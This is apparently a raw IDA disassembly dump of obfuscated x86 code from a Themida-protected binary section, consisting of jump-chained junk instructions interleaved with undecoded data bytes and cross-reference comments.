		dd 1, 34CB951h,	8149748Ah, 412BE9C1h, 0DF18179h, 987801Ah
		dd 0FB0D59C8h, 0E95DE21Bh, 0FFFFB14Ch, 0C2883E2Ch, 4BC28058h
		dd 0EA80DA28h, 241C8B4Bh, 2C04C483h, 52D0288Fh,	60BEE9h
		dd 241C8B00h, 8704C483h, 248B240Ch, 0C83B6624h,	0A72EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D6E8E:				; CODE XREF: Themida_:005DA6CEj
		sub	ecx, ebp
		sub	ecx, 4830678Dh
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0
		add	ebp, 5CE23727h
		sub	ebp, ecx
		jmp	loc_5DA415
; ---------------------------------------------------------------------------
		dw 535Dh
		db 89h,	0D3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ecx, [esp]
		jmp	loc_5D44E5
; ---------------------------------------------------------------------------


loc_5D6ED1:				; CODE XREF: Themida_:005DB0BBj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5D96FD
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFA6DCh, 0FFA6D7E9h, 18CC68FFh, 7EE95C85h, 5B000031h
		dd 49B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D6EF5:				; CODE XREF: Themida_:005D31BFj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5DB7D3
; ---------------------------------------------------------------------------
		db 2Ch
		dd 18E9515Dh, 43000028h, 0D5EEEB81h, 0DD01EFBDh, 0BDF1E95Bh
		dd 0EC83FFFFh, 24248904h, 0FFE8A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D6F25:				; CODE XREF: Themida_:005D34F8j
		sub	esi, ebp
		jmp	loc_5D90DA
; ---------------------------------------------------------------------------
		dd 4BD55h, 0EE010000h, 53242C8Bh, 0C3815B54h, 4, 5A0EE9h
		dd 83E95A00h, 68FFFFE1h, 1A75h,	68243489h, 740E65FAh, 5EF2015Eh
		dd 7F2FC281h, 88E92DFCh, 88000001h, 4C21E9EAh, 34FF0000h
		dd 24048B24h, 6804C483h, 1E18h,	89241C89h, 0B4B951E3h
		dd 5070B40Ah, 4BF550B8h, 58C1018Fh, 5470EB81h, 0CB011A63h
		dd 0FFB769E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D6F9D:				; CODE XREF: Themida_:005D98C9j
		mov	edi, 4F7707CEh
		xor	eax, edi
		pop	edi
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	3C23h
		mov	[esp], esi
		jmp	loc_5DB384
; ---------------------------------------------------------------------------


loc_5D6FBE:				; CODE XREF: Themida_:005D348Dj
		mov	[esp], edx
		jmp	loc_5DAF99
; ---------------------------------------------------------------------------
		dw 835Dh
		dd 1C3304C4h, 241C3124h, 5C241C33h, 8904EC83h, 0F1E92414h
		dd 0B400000Ah, 0FFE688DBh, 0E9582434h, 3866h
; ---------------------------------------------------------------------------


loc_5D6FEC:				; CODE XREF: Themida_:005DCE30j
		add	ecx, ebp
		pop	ebp
		mov	esi, ecx
		pop	ecx
		jmp	loc_5D23D0
; ---------------------------------------------------------------------------
		db 81h
		dd 3967D0C2h, 41C2811Bh, 29FFAB96h, 0F9DAE9D7h,	0C8BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5DB410
; ---------------------------------------------------------------------------


loc_5D7015:				; CODE XREF: Themida_:005D3BEEj
		push	dword ptr [esp]
		jmp	loc_5D73A4
; ---------------------------------------------------------------------------
aYs_0		db 'Y)',0
		dw 5E00h
		dd 79B7EE81h, 0EC832B91h, 241C8904h, 533DDD68h,	0E3815B51h
		dd 45B21943h, 16D4EB81h, 0DE310555h, 0C9C6815Bh, 8908F4B0h
		dd 0BFE95EF0h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D7053:				; CODE XREF: Themida_:005D4F3Aj
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5D41D6
; ---------------------------------------------------------------------------


loc_5D706B:				; CODE XREF: Themida_:005D2EA2j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5DABDB
; ---------------------------------------------------------------------------


loc_5D7076:				; CODE XREF: Themida_:005DC217j
		push	esi
		mov	esi, 51C7093Dh
		xor	esi, 51C70939h
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_5D1B7C
; ---------------------------------------------------------------------------
		dd 0F86B055Bh, 0C5016831h, 242C8758h, 8124248Bh, 2CB9242Ch
		dd 4291DCBh, 1E7F6824h,	0B4E90000h, 68000058h, 3CEDh, 0BF243C89h
		dd 5DBA2B25h, 0BFE9FA21h, 5BFFFFC2h, 20A7E9h, 243C8B00h
		dd 4944E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D70DA:				; CODE XREF: Themida_:005DC9A1j
		mov	eax, 313E5C10h
		jmp	loc_5D6B31
; ---------------------------------------------------------------------------
		dd 0E92DEA81h, 9EE98A43h, 100001Dh, 2FEA81C2h, 572DFC7Fh
		dd 0EF353BBFh, 0FFEF8143h, 0F7FFFFFFh, 0CDC4E9D7h, 0E5C1FFFFh
		dd 8FE58105h, 8119F527h, 6447CCCDh, 598E974h, 55580000h
		dd 61678BBDh, 0E9DDF706h, 0FFFFC19Bh
; ---------------------------------------------------------------------------


loc_5D712C:				; CODE XREF: Themida_:005DCEE2j
		push	eax
		push	49C8h
		jmp	loc_5DB1C2
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFFB49E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D713D:				; CODE XREF: Themida_:005D98F3j
		push	459h
		mov	[esp], edx
		push	esi
		mov	esi, 1F376B2Fh
		jmp	loc_5DC00E
; ---------------------------------------------------------------------------


loc_5D7150:				; CODE XREF: Themida_:005D8316j
		pop	edx
		add	eax, 1E473D34h
		add	eax, ebp
		sub	eax, 1E473D34h
		jmp	loc_5DD279
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 80C7FE4Dh, 69E9A9F7h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D716F:				; CODE XREF: Themida_:005D527Fj
		mov	[esp], ebx
		mov	ebx, 0D3E2F971h
		add	esi, ebx
		pop	ebx
		add	ebp, esi
		pop	esi
		jmp	loc_5D4594
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 8B665C24h, 83552404h, 8F5404ECh, 4832404h, 0E95D0424h
		dd 57DDh
; ---------------------------------------------------------------------------


loc_5D719C:				; CODE XREF: Themida_:005DAEC9j
		pop	ebp
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5D7D29
; ---------------------------------------------------------------------------


loc_5D71AA:				; CODE XREF: Themida_:005D7E89j
		xchg	ecx, [esp]
		jmp	loc_5DA2E1
; ---------------------------------------------------------------------------


loc_5D71B2:				; CODE XREF: Themida_:005D9606j
		add	ecx, 3D8900D6h
		add	ecx, 47335652h
		xor	esi, ecx
		pop	ecx
		mov	ebp, esi
		pop	esi
		mov	edx, 0E703FE6Ch
		jmp	loc_5DB0B3
; ---------------------------------------------------------------------------
		dw 9EB2h
		dd 0F6A5EA80h, 5EA80DAh, 0EAC0D2F6h, 40C28005h,	0FFF10BE9h
		dd 0C0B60FFFh, 6887048Dh, 5DCBh, 0E9240489h, 0FFFFA3C4h
		dd 51E560BEh, 5EF501E3h, 69E9E901h, 4Ch, 241C8BF8h, 16AFE9h
		dd 32EF8000h, 0EF80D7F6h, 5BFE883Bh, 0F000F82Ch, 5A66F804h
		dd 0D5E95B66h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D722B:				; CODE XREF: Themida_:005DB002j
		add	esi, 2F44E0B6h
		jmp	loc_5D25BA
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 5A882613h, 0C781C729h, 5A882613h, 6544E9h, 0D1045900h
		dd 5BC4E9h, 24440100h, 24048B08h, 2904C483h, 0E9042444h
		dd 5A72h
; ---------------------------------------------------------------------------


loc_5D7264:				; CODE XREF: Themida_:005DB265j
		xor	esi, [esp]
		jmp	loc_5DA3DE
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 430BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D727A:				; CODE XREF: Themida_:005DCDA7j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5DA272
; ---------------------------------------------------------------------------
		db 0BAh
		dd 54017F46h, 5FC0EA81h, 57426ACBh, 20014BFh, 0D649E96Dh
		dd 489FFFFh, 0B6B65224h, 0C680CEFEh, 5AF4889Fh,	0F6E68852h
		dd 0EC01E9D6h, 0BE56FFFFh, 6162E0Ah, 0AD33C6BFh, 0E9F73144h
		dd 329Bh
; ---------------------------------------------------------------------------


loc_5D72C8:				; CODE XREF: Themida_:005DB1BDj
		imul	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_5D9633
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5D1B9B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 330h
; ---------------------------------------------------------------------------


loc_5D72F0:				; CODE XREF: Themida_:005D188Fj
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	6E27h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5DA4C0
; ---------------------------------------------------------------------------
aQs55		db 'Q55',0
		dw 6600h
		dd 56240C8Bh, 39D8E954h, 31AD0000h, 730368D8h, 1E90000h
		dd 5DFFFFB1h, 4C581h, 0ED810000h, 4, 5C242C87h,	89240C89h
		dd 0A9A4E9E1h, 0EC83FFFFh, 240C8904h, 6F5ACBB9h, 244C296Bh
		dd 3FA3E908h, 0BF570000h, 7AC26891h, 4D5FFD09h,	2236E581h
		dd 0BA52050Bh, 10A200Ch, 3C27ED81h, 0D52928F4h,	3C27C581h
		dd 15A28F4h, 0C1835DE9h, 4EC8302h, 0FF240C89h, 59042474h
		dd 0E924048Fh, 0FFFFCE59h, 0C8B60F66h, 0E99C5166h, 0FFFFA218h
; ---------------------------------------------------------------------------


loc_5D73A4:				; CODE XREF: Themida_:005D7018j
		pop	eax
		push	ebp
		jmp	loc_5D7550
; ---------------------------------------------------------------------------


loc_5D73AB:				; CODE XREF: Themida_:005DCF49j
		add	ebp, 4
		jmp	loc_5D6A17
; ---------------------------------------------------------------------------
		dw 4DBAh
		dd 111F7B6h, 3704E9D0h,	315A0000h, 0E0A8E9C3h, 595DFFFFh
		dd 0DCAFE957h, 0E281FFFFh, 2DF670E8h, 762DCA81h, 8142397Eh
		dd 0C12BD0C2h, 1FF2812Ah, 0E97A37CAh, 2FC7h, 0D3B25266h
		dd 5A66D128h, 0E9A5E180h, 0FFFFD9AAh, 2434FF5Dh, 4C4835Eh
		dd 34FFF831h, 1326E924h, 5B680000h, 89000032h, 4BD242Ch
		dd 1000000h, 0B83DE9EAh, 56BBFFFFh, 0BE698758h,	6987585Ah
		dd 0FFF636E9h, 4EE81FFh, 87000000h, 248B2434h, 241C8924h
		dd 0AB653E68h, 0C3815B6Dh, 4F9E23D5h, 0FFB15AE9h, 4C481FFh
		dd 83000000h, 2C8904ECh, 64E56824h, 24890000h, 24048124h
		dd 4, 4BF575Dh,	81000000h, 0CB2501EDh, 56FD0149h, 0CB2501BEh
		dd 5EF50149h, 0E2E9525Fh, 0FEFFFFDCh, 0A4EF80C7h, 5B66F828h
		dd 0F304D800h, 28CB2C5Bh, 44E5E9D8h, 0E95A0000h, 0FFFFD54Ch
		dd 2BB53h, 62E90000h, 0F7FFFFC8h, 85CA81D2h, 8142296Fh
		dd 3664F2h, 0DEE28133h,	0E93F3F13h, 57BBh, 240C8B66h, 564A68h
		dd 242C8900h, 72E9E589h, 5B000052h, 0ED80C5FEh,	0F6C58044h
		dd 1F26E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D74F1:				; CODE XREF: Themida_:005D5148j
		pop	ebx
		jmp	loc_5D2C80
; ---------------------------------------------------------------------------


loc_5D74F7:				; CODE XREF: Themida_:005DB255j
		and	ebx, edi
		pop	edi
		shl	ebx, 3
		jmp	loc_5D2DCB
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 3304ED83h,	2C31242Ch, 242C3324h, 2404895Ch
		dd 7E5BEEB8h, 0C2E95740h, 55FFFFCAh, 0A05244BDh, 5CE58146h
		dd 0E927FE36h, 0FFFFFBD6h, 4240483h, 0FFBB535Dh, 81105E55h
		dd 756C1EEBh, 0D4C38139h, 0E912D27Eh, 0FFFFE81Dh
; ---------------------------------------------------------------------------


loc_5D7550:				; CODE XREF: Themida_:005D73A6j
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5D62B5
; ---------------------------------------------------------------------------


loc_5D755D:				; CODE XREF: Themida_:005DB1B7j
		neg	ecx
		jmp	loc_5D829B
; ---------------------------------------------------------------------------
		dd 3E9C15Ah, 11CF181h, 44E97D4Ah, 81000008h, 0EBF503F6h
		dd 29E98113h, 1367B30h,	29C181F1h, 8B367B30h, 0C4812434h
		dd 4, 31240C33h, 0C33240Ch, 924E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D759E:				; CODE XREF: Themida_:005D6467j
		add	esi, ebx
		pop	ebx
		push	edx
		push	edi
		jmp	loc_5D354B
; ---------------------------------------------------------------------------


loc_5D75A8:				; CODE XREF: Themida_:005DD5A2j
		sub	esi, eax
		pop	eax
		push	eax
		mov	eax, esi
		mov	edi, eax
		pop	eax
		jmp	loc_5D6092
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C181h, 0C1830000h, 4EC8104h, 89000000h, 38E9240Ch
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D75D3:				; CODE XREF: Themida_:005D25D5j
		shr	ecx, 8
		jmp	loc_5D5A4B
; ---------------------------------------------------------------------------
		db 87h
		dd 835C241Ch, 3C8904ECh, 1C1CE924h, 1C890000h, 52E38924h
		dd 800794BAh, 4FEA815Dh, 0E93E9B2Ah, 4564h, 5E0F1FB9h
		dd 59CE016Eh, 2652C681h, 0BD5538C6h, 65F65B41h,	8EC58145h
		dd 0E92FD30Eh, 0FFFFAB37h, 9E95453h, 8900000Fh,	0D3BB5DE8h
		dd 8182DFC8h, 0AF174EC3h, 0E9C3014Ah, 2075h, 8704C783h
		dd 1E9243Ch, 0F6FFFFF3h, 242C86D5h, 40CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D7651:				; CODE XREF: Themida_:005DA6BDj
		add	ebx, 7C112160h
		xor	edi, ebx
		jmp	loc_5D9CE7
; ---------------------------------------------------------------------------
		dw 0C328h
		dd 0EB805866h, 0C0B60FCCh, 24148B66h, 460368h, 0E234E900h
		dd 48FFFFFh, 89665C24h,	39E92404h, 0F6FFFF9Fh, 66F886D7h
		dd 61B25251h, 0EAC0CAFEh, 36E28006h, 803AC280h,	0F1E9A4F2h
		dd 8B000009h, 0C483240Ch, 8B545504h, 0C481242Ch, 4, 0A050E951h
		dd 8145FFFFh, 8B45EFEDh, 5DEF2909h, 0FFE711E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D76C5:				; CODE XREF: Themida_:005D2B68j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5D28DB
; ---------------------------------------------------------------------------
		dd 0EAB45066h, 8B66E130h, 0C4812404h, 2, 59CB30h, 0B5515BD8h
		dd 4EC817Fh, 89000000h,	0ACB22414h, 27ED80h, 27C580D5h
		dd 8124148Bh, 4C4h, 0AFC58000h,	53E6B652h, 41E94CB3h, 68000060h
		dd 5B4Fh, 4D65E9h, 0EC835D00h, 24048904h, 0FFBE57E9h, 665B66FFh
		dd 666F2F05h, 2D66F829h, 3CE96F2Fh, 5CFFFFC0h, 9E9F031h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D774F:				; CODE XREF: Themida_:005DD4AEj
		xor	ebx, [esp]
		jmp	loc_5D98CE
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 4050000h, 87000000h,	815C2404h, 0E5AC9DF3h
		dd 0E9D901AAh, 0FFFFF705h, 74E9F828h, 87FFFFF7h, 248B2414h
		dd 5552FD24h, 0ABDh, 200DE900h,	0B2520000h, 5AD5889Bh
		dd 1A14E9h, 241C8900h, 42474FFh, 24048F5Bh, 0FFC9D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D77A9:				; CODE XREF: Themida_:005D79AFj
		shr	ecx, 5
		jmp	loc_5D831B
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 97h
		dd 42453D2Bh, 4856B850h, 672D7050h, 0F76DED2Bh,	0E9D8F7D0h
		dd 0FFFFB1A4h, 80BE5657h, 0F7782A7Dh, 7DF681D6h, 8987D582h
		dd 24348BF7h, 0BB6FE953h, 0E958FFFFh, 36C4h, 2434FF54h
		dd 4EC815Ah, 89000000h,	60E92404h, 47000031h, 0FFE129E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D7805:				; CODE XREF: Themida_:005D935Aj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5D6BB0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8300h, 89243489h, 703B68E6h, 0C890000h, 31B6B924h
		dd 0C1811E48h, 0E1B7CE4Eh, 75ABEE81h, 0CE015ADAh, 75ABC681h
		dd 0E9595ADAh, 0FFFFA1C8h, 240C8B66h, 31CE68h, 24348900h
		dd 0C681E689h, 4, 77F568h, 24148900h, 368FE9h, 7F67B900h
		dd 0C98173A1h, 222D1BE8h, 480EE981h, 0F1816518h, 0E9537E5h
		dd 5359CA01h, 4BBh, 8BDA0100h, 0C481241Ch, 4, 0E9241487h
		dd 0FFFFAEDDh
; ---------------------------------------------------------------------------


loc_5D789C:				; CODE XREF: Themida_:005DCB37j
		push	ecx
		jmp	loc_5D894E
; ---------------------------------------------------------------------------
aPgRsT		db 'pg$RT',0
		dd 89505B00h, 69E956E0h, 66FFFFB7h, 0E9240C8Bh,	0A7Fh
; ---------------------------------------------------------------------------


loc_5D78C0:				; CODE XREF: Themida_:005DC5B1j
		pop	ecx
		jmp	loc_5D285B
; ---------------------------------------------------------------------------


loc_5D78C6:				; CODE XREF: Themida_:005DABA2j
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, 0AC988502h
		mov	eax, ebp
		pop	ebp
		jmp	loc_5D4EA4
; ---------------------------------------------------------------------------
		dw 4401h
		dd 44810424h, 57CB0424h, 5E583929h, 15DDE9h, 5585400h
		dd 4, 0E201E956h, 4401FFFFh, 6C810824h,	3E500824h, 0A9E9238Bh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D790F:				; CODE XREF: Themida_:005D7F28j
		and	al, cl
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5D2D19
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 6Dh
		dd 0F710DB00h, 4EE381DBh, 0E95DC757h, 0FFFFB241h, 4C481h
		dd 0C7810000h, 6AD901DEh, 3D80E9h, 4BE5600h, 81000000h
		dd 715588EDh, 81F5017Ah, 715588C5h, 0C764E97Ah,	0AD66FFFFh
		dd 81D83166h, 4ECh, 24148900h, 6D1DBA66h, 59C28166h, 11CA6811h
		dd 2C890000h, 0CFBD6624h, 0C5816602h, 1666EA4h,	242C8BE8h
		dd 0E904C483h, 0FFFFDFBCh, 6BA4C181h, 0E95A7284h, 0FFFFC6DAh
; ---------------------------------------------------------------------------


loc_5D79AC:				; CODE XREF: Themida_:005D9201j
		shl	ecx, 4
		jmp	loc_5D77A9
; ---------------------------------------------------------------------------
		dd 22E76852h, 815A1AA6h, 40592FF2h, 0F6F1E926h,	5166FFFFh
		dd 0E8283AB5h, 0C3005966h, 0BD555358h, 77A95E57h, 8108EDC1h
		dd 813E2FC5h, 3E5C150h,	0FFEAFFE9h, 3EFC1FFh, 0C105EFC1h
		dd 0D1E902E7h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D79F7:				; CODE XREF: Themida_:005DB1AAj
		push	dword ptr [eax]
		sub	dword ptr [esp], 7F43373Ah
		pop	ecx
		add	ecx, 7F43373Ah
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5D2F7E
; ---------------------------------------------------------------------------


loc_5D7A12:				; CODE XREF: Themida_:005DBD96j
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 740A210Eh
		sub	edx, 1BC07D04h
		or	edx, 21BB4F88h
		jmp	loc_5D33C9
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 89000000h, 0FB0158C7h, 5F2434FFh, 4C481h, 0B6E90000h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D7A4B:				; CODE XREF: Themida_:005D69F7j
		pop	ecx
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	eax, 0B680140h
		push	ebx
		push	800h
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5D17E2
; ---------------------------------------------------------------------------


loc_5D7A76:				; CODE XREF: Themida_:005D18BBj
		shl	ebx, 3
		add	ebx, 0DF9E0080h
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 7
		jmp	loc_5DC73B
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0FEA6E924h, 34FFFFFFh, 0FBFDE924h, 0F66FFFFh, 9C2404A3h
		dd 0FF9B0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D7AAD:				; CODE XREF: Themida_:005D59C7j
		xor	bp, [esp]
		xor	[esp], bp
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		dw 483h
		dd 815F0424h, 4C7h, 4B95100h, 0E9000000h, 1CC4h, 0BF57E289h
		dd 6D4316A4h, 8105EFC1h, 0A105E9EFh, 4EFC10Ah, 0FFA2C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D7AE9:				; CODE XREF: Themida_:005D6093j
		sub	ebx, 3FFD356Dh
		add	ebx, edi
		add	ebx, 3FFD356Dh
		pop	edi
		inc	ebx
		add	ebx, 0FFFFFFFFh
		xor	ebx, 8221E10Bh
		mov	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5D3F47
; ---------------------------------------------------------------------------
		dd 2B8h, 0E9C20100h, 28D0h, 0E5B9515Bh,	81693C69h, 6B2686F1h
		dd 8BCF2956h, 14E9240Ch
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D7B2F:				; CODE XREF: Themida_:005D8F10j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5DB0D5
; ---------------------------------------------------------------------------


loc_5D7B3D:				; CODE XREF: Themida_:005D9977j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5DD11D
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 42686602h, 0B292E969h, 0D530FFFFh, 4EC835Ah
		dd 0FFF73DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D7B61:				; CODE XREF: Themida_:005D93F1j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		db 89h
		dd 5954240Ch, 0EC835053h, 24348904h, 560EC968h,	0F4A1E932h
		dd 0E957FFFFh, 52FAh
; ---------------------------------------------------------------------------


loc_5D7B88:				; CODE XREF: Themida_:005DC717j
		push	9B5h
		mov	[esp], ebx
		jmp	loc_5D8C04
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0A4h
		dd 0C10C1239h, 0E7C106E7h, 0FE95107h, 89FFFFCBh, 0E589242Ch
		dd 14F7E9h, 5FF80100h, 42Dh, 24048700h,	242C895Ch, 242C8B54h
		dd 8104C483h, 4C5h, 0ABE5600h, 0F745773Eh, 0F4EE81DEh
		dd 0E9BA88C1h, 0FFFFC959h
; ---------------------------------------------------------------------------


loc_5D7BE0:				; CODE XREF: Themida_:005DD75Bj
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_5D2FBA
; ---------------------------------------------------------------------------
		db 5Ah,	52h, 53h
		dd 0FA88E788h, 0FFB92EE9h, 67B72DFFh, 0C829007Ch, 67B7BA52h
		dd 0D001007Ch, 0D801595Ah, 194A7705h, 4EC8159h,	89000000h
		dd 3CBF243Ch, 0F761275Bh, 0BE5647D7h, 5B215C06h, 62B1E681h
		dd 0D6F777E8h, 5E78C681h, 0E6C16F0Bh, 18E68104h, 0E9494D03h
		dd 549Bh
; ---------------------------------------------------------------------------


loc_5D7C40:				; CODE XREF: Themida_:005D376Fj
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 0CBh
		add	al, dl
		jmp	loc_5D4D04
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2, 34FFEB01h, 0F364E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D7C62:				; CODE XREF: Themida_:005D5130j
		add	dword ptr [edi+24h], 0A93246Bh
		xor	edx, edx
		push	66EDh
		jmp	loc_5D30D1
; ---------------------------------------------------------------------------
		db 1, 0EFh, 0FFh
a4SiusS		db '4$]SS',0
		db 0
; ---------------------------------------------------------------------------


loc_5D7C83:				; CODE XREF: Themida_:005D8749j
		add	ebx, 4
		jmp	loc_5D2390
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48704E8h,	972E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D7C9E:				; CODE XREF: Themida_:005D3AA7j
		push	ebx
		mov	ebx, 514B20ECh
		xor	ebx, 294A264Fh
		or	ebx, 687B25CBh
		or	ebx, 465C54CDh
		add	ebx, 49996038h
		jmp	loc_5D54D0
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 83240C8Bh, 9F6804C4h, 0E9000059h, 19EFh, 0C180D534h
		dd 80C1006Fh, 30586FE9h, 240C8BC8h, 0FFDCF1E9h,	243489FFh
		dd 3EBDB3BEh, 5EF3290Eh, 315BDF01h, 2434FFF8h, 4C4815Fh
		dd 50000000h, 6004CDB8h, 7DB95138h, 5571646Eh, 4B2CBF57h
		dd 5BBD1ADEh, 0E909F0E4h, 1405h
; ---------------------------------------------------------------------------


loc_5D7D20:				; CODE XREF: Themida_:005DD7BDj
		not	eax
		xchg	eax, esi
		push	edx
		jmp	loc_5D15E9
; ---------------------------------------------------------------------------


loc_5D7D29:				; CODE XREF: Themida_:005D71A5j
		push	eax
		push	938390Dh
		pop	eax
		sub	edx, 636E4486h
		sub	edx, eax
		jmp	loc_5DD7ED
; ---------------------------------------------------------------------------
		db 21h,	57h, 1Ch
		dd 5A2434FFh, 4C481h, 1BE90000h, 5C00002Bh, 28E9E801h
		dd 0BBFFFFCCh, 4, 815BDF01h, 4C7h, 243C8700h, 0C0B60F5Ch
		dd 87048F66h, 0FF9847E9h, 240C89FFh, 0CB01B5B9h, 4EF1871Fh
		dd 0E181F187h, 73AD0EB9h, 8107E1C1h, 0B8EB67C1h, 59CE01A5h
		dd 5350C601h, 0FC3FFCBBh, 0FFEB833Ch, 0E3C1D3F7h, 0E3C14B07h
		dd 87F38104h, 8939E906h, 10E95BD8h, 21FFFFCAh, 0D7E959CAh
		dd 59FFFFD8h, 69FCB951h, 0C80953F4h, 0E9240C8Bh, 0FFFFF051h
		dd 0BB53EA87h, 9BEF91F8h, 15BDA29h, 0DCE2E9D7h,	0EB29FFFFh
		dd 241C875Dh, 240C895Ch, 0EC83FAB5h, 240C8904h,	0FFA5B9E9h
		dd 81FA01FFh, 9E6EEFC2h, 14875F00h, 24248B24h, 9C240409h
		dd 0FF97ABE9h, 81D1F7FFh, 1E2FADC1h, 0E981412Fh, 8D80D24Bh
		dd 2D59C801h, 5E2E75B2h, 0B205F801h, 2D5E2E75h,	4A2D3F6Fh
		dd 83243C8Bh, 0C08304C4h, 24043304h, 0FFC457E9h, 0E9E8D0FFh
		dd 0FFFFFE88h, 0BA52EF01h, 5F154A5Ch, 0D4C28142h, 29DAAD26h
		dd 0E95D5AD7h, 0FFFF9855h, 582434FFh, 8104C483h, 642809C6h
		dd 3EEC12Fh, 0FFF6FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D7E79:				; CODE XREF: Themida_:005DA95Aj
		mov	esi, 7A66118Eh
		mov	ecx, esi
		jmp	loc_5D6D6A
; ---------------------------------------------------------------------------


loc_5D7E85:				; CODE XREF: Themida_:005D4F47j
		pop	edx
		add	ecx, 4
		jmp	loc_5D71AA
; ---------------------------------------------------------------------------


loc_5D7E8E:				; CODE XREF: Themida_:005D2888j
		add	edx, edi
		sub	edx, 32346A9Ch
		mov	eax, [edx]
		pop	edx
		push	0B01h
		mov	[esp], ecx
		jmp	loc_5DAC0B
; ---------------------------------------------------------------------------


loc_5D7EA6:				; CODE XREF: Themida_:005D9145j
		xchg	esi, [esp]
		pop	esp


loc_5D7EAA:				; CODE XREF: Themida_:005DCFEAj
		push	106Ch
		jmp	loc_5D190D
